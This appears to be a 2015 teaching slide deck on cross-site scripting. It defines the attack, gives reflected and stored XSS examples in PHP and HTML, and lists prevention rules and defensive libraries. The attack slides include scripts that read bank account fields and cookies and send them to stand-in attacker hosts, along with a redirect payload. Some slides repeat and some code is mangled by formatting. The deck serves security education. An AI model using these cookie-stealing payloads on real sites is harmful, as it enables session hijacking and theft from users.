Web Application Security

Rajendra Kachhwaha
rajendra1983@gmail.com

October 16, 2015

Outline

Browser Security Principles:

1. Cross Site Scripting (XSS)
2. Types of XSS
3. XSS Defense

Definition:

1. Cross site scripting is a vulnerability that allows an attacker to add his own script code to a vulnerable web application's page.
2. When a user visits an "infected" page in the application-sometimes by following a specially crafted link in an email message, but sometimes just by browsing the web site as usual- his browser downloads the attacker's code and automatically executes it.
3. More accurate description of the problem is "Java script Injection".
4. Application treating data as code is the root cause of almost every major class of vulnerability.

Effect & Example:

1. XSS has been used in real-world attacks to steal authentication credentials, install keystroke loggers and other malware, and even create self-replicating scripts "worms" that consumed most of the bandwidth.
2. Root cause of XSS vulnerabilities is when a web application accepts input from a user and then display that input as-is, without validating it or encoding it.
3. XSS happens when application treats data as HTML or script.
4. For example: You are looking for a recipe for banana cream pie, so you fire up your search engine, enter "banana cream pie recipe" and click on search button.

cont.

Example(Cont.):

4. You got a list of results and a message like **"Your search for 'banana cream pie recipe' found about 1,130,000 results"**.
5. Next time instead of "banana cream pie recipe", you searched for "$<i>$**banana cream pie recipe**$</i>$"?
6. If the results from this new search are something like **"Your search for '$<i>$**banana cream pie recipe**$</i>$' found about 75,000 results,"** then that site is taking some precautions about XSS.
7. If we got the old result, then there is a good chance that the site is vulnerable.
8. Instead of injecting HTML italics tags into our page output, what if we were to inject some java script code?

Attack example:

1. For the bank website, we are probably most interested in the User's account number and his balance.
2. If we know the names or IDs of the HTML elements that holds this data, we can easily get their contents, as follows:
   $< script >$
   $varacctnum =$
   $document.getElementById('accNum').innerHTML;$
   $varacctbal =$
   $document.getElementById('accBal').innerHTML; < /script >$
3. We can get the user's cookies for that page from the following:
   $< script > varuserCookie = document.cookie; < /script >$
4. Finding the data is the first half of the exploit. Now we need a way to send it back to ourselves.

cont.

Attack example:

5. We can just have the script code make a request to a page that we own and put the data in the query-string of the URL.
6. Now all we have to do is watch our web server request logs to collect all of our victim's session token or cookies. $< script >$ $varreqUrl =' http :$ $//www.badguy.cxx/bankinfo?victimcookies ='$ $+document.cookies$ $document.write(" < imgsrc =' " + reqUrl +''' / >")$ $< /script >$
7. When a browser runs this script, it will automatically make a request to the URL specified by the "src" attribute.

More options for attack:

Some other popular choices includes:

1. $< embedsrc = ... >$
2. $< objectclassid = ... >$
3. $< srciptsrc = ... >$
4. $< iframesrc = ... >$
5. $< script > document.location = ... < /script >$
6. $< script > window.location.href = ... < /script >$
7. $< script > window.navigate(....) < /script >$
8. $< script > window.open(....) < /script >$

More options for attack:

Some other popular choices includes:

1. $< embedsrc = ... >$
2. $< objectclassid = ... >$
3. $< srciptsrc = ... >$
4. $< iframesrc = ... >$
5. $< script > document.location = ... < /script >$
6. $< script > window.location.href = ... < /script >$
7. $< script > window.navigate(....) < /script >$
8. $< script > window.open(....) < /script >$

This violate the same-origin policy??

More options for attack:

Some other popular choices includes:

1. $< embedsrc = ... >$
2. $< objectclassid = ... >$
3. $< srciptsrc = ... >$
4. $< iframesrc = ... >$
5. $< script > document.location = ... < /script >$
6. $< script > window.location.href = ... < /script >$
7. $< script > window.navigate(....) < /script >$
8. $< script > window.open(....) < /script >$

This violate the same-origin policy?? This doesn't violate the same origin policy. The same-origin policy can't stop you from sending a request; it can only stop you from reading the response.

Types of XSS:

The final step is to find a way to get a victim to execute it:

1. Reflected XSS (Type-1 XSS): In this, the injected script is reflected off the web server, such as in an error message, search result, etc that includes some or all of the input sent to the server as part of the request. Reflected XSS are delivered to victims via another route, such as in an e-mail message. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web site, which reflects the attack back to the users browser.

Reflected XSS: Example

```
<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://xssattackexamples.com/">Click to Download</a>";
?>
```

Example 1: Now the attacker will craft an URL as follows and send it to the victim:

index.php?name=guest<script>alert('attacked')</script>

When the victim load the above URL into the browser, he will see an alert box which says 'attacked'. Even though this example doesn't do any damage, other than the annoying 'attacked' pop-up, you can see how an attacker can use this method to do several damaging things.

Example 2: For example, the attacker can now try to change the "Target URL" of the link "Click to Download". Instead of the link going to "xssattackexamples.com" website, he can redirect it to go "not-real-xssattackexamples.com" by crafting the URL as shown below:

index.php?name=<script>window.onload = function()

{var link=document.getElementsByTagName("a");

link[0].href="http://not-realxssattackexamples.com/";}</script>

Stored XSS:

2. Stored XSS (Type-2 XSS): In this, the injected script is permanently stored on the target servers, such as in a database, in a message forum, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Example:

```
<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=
\'+escape\(document.cookie\)\;\">My Name</a>
```

Now, when the admin log-in to the system,he will see a link named "My Name" along with other usernames. When admin clicks the link,it will send the cookie which has the session ID,to the attacker's site. Now the attacker can post a request by using that session ID to the web server,& he can act like "Admin" until the session is expired.

XSS Prevention Rules:

1. Never Insert Untrusted Data Except in Allowed Locations
2. HTML Escape Before Inserting Untrusted Data into HTML Element Content
3. Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes
4. JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values
5. CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values
6. URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values
7. Sanitize HTML Markup with a Library Designed for the Job
8. Prevent DOM-based XSS

cont.

XSS Prevention Rules:

9. Use HTTP Only cookie flag
10. Implement Content Security Policy
11. Use an Auto-Escaping Template System
12. Use the X-XSS-Protection Response Header

Online Support:

1. OWASP Enterprise Security API(ESAPI):
   The ESAPI library is an implementation of methods, including white-listing, that process user input safely. It is available in a number of modern programming languages such as Java EE, PHP, .NET, Cold Fusion, Python and others. The ESAPI library requires the developer to understand which methods are susceptible to XSS attacks, and replace them with safe implementations accordingly.

XSS Prevention Rules:Online Support

2. Microsoft AntiXSS Library:
   The Microsoft AntiXSS Library can be used to replace existing ASP.NET methods that process user input with new methods that do so safely. The AntiXSS Library uses a white-listing approach for filtering content. The AntiXSS Library also includes a DLL that can be included in a project and used to hook all potentially unsafe calls, replacing them with safe alternatives.
3. Web Vulnerability Scanners:
   There are many tools or services that scan websites for XSS vulnerabilities.